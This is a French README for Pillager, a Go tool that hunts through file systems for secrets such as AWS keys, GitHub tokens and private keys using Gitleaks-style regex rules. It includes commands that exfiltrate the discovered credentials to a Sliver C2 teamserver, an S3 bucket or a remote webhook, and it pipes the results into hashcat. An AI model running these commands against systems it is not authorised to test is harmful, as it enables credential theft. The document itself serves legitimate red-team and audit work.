
Piller les systèmes de fichiers pour des informations sensibles avec Go 🔍
Pillez les systèmes de fichiers pour trouver des informations sensibles avec Go.
Pillager est conçu pour offrir un moyen simple d'exploiter le puissant modèle de concurrence de Go afin de rechercher récursivement des informations sensibles dans les fichiers d'un répertoire. Pillager y parvient en s'appuyant sur quelques géants. Une fois que Pillager trouve des fichiers correspondant au motif spécifié, le fichier est scanné à l'aide d'une série de travailleurs simultanés qui prennent chacun une ligne du fichier dans la file d'attente des tâches et recherchent des correspondances de motifs sensibles. Les filtres de motifs disponibles peuvent être définis dans un fichier pillager.toml ou vous pouvez utiliser l'ensemble de règles par défaut.
Si vous avez Go installé sur votre système, vous pouvez installer Pillager avec go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Si vous cherchez un binaire, consultez les dernières versions pour l'exécutable correspondant à votre système.
Pour voir toutes les commandes disponibles avec pillager
# Pour voir les instructions pour l'ensemble de l'application
pillager
# Depuis n'importe quelle sous-commande
pillager [cmd] --help
Pillager fournit une interface utilisateur en terminal construite avec bubbletea si vous souhaitez scanner les secrets de manière interactive.
Envoyez les secrets découverts vers des destinations distantes : Sliver C2 (stockage de butin/credentials), S3/MinIO (stockage cloud) ou Webhooks (points de terminaison HTTP personnalisés).
# Sliver C2 - Envoyer au teamserver avec analyse des credentials
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Téléversement avec chiffrement
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST vers un point de terminaison personnalisé
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Sécurité : Chiffrement AES-256-GCM (--exfil-encrypt), TLS par défaut, métadonnées automatiques (nom d'hôte, horodatage)
Pillager offre un support complet des règles Gitleaks[^2]. Celles-ci peuvent être passées dans une section rules1 de votre fichier pillager.toml, ou vous pouvez utiliser l'ensemble de règles par défaut en laissant le champ de configuration vide.
# pillager.toml
# Configuration de base
verbose = false
redact = false
# Règles pour la détection de secrets
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuration de la liste blanche
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager dispose d'une série de formats de sortie intégrés disponibles. Choisissez votre préféré !
pillager hunt .
pillager hunt ./example -f json | jq
La sortie JSON est conçue pour fonctionner parfaitement avec l'excellente utilitaire jq pour un parsing facile.
# Utilisez pillager pour générer une wordlist délimitée par des sauts de ligne à partir des résultats
pillager hunt . -f wordlist
# Utilisez pillager pour ajouter une wordlist, puis utilisez votre mode d'attaque hashcat préféré
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager vous permet d'utiliser les puissantes fonctions de go text/template et sprig pour personnaliser le format de sortie. Voici quelques exemples de templates.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
Plus d'exemples de templates se trouvent dans le répertoire templates.
La documentation GoDoc est disponible sur pkg.go.dev pour pillager.
Pour contribuer au développement de fonctionnalités et de correctifs pour Pillager, commencez par les étapes suivantes :
Qu'est-ce que Cobra ?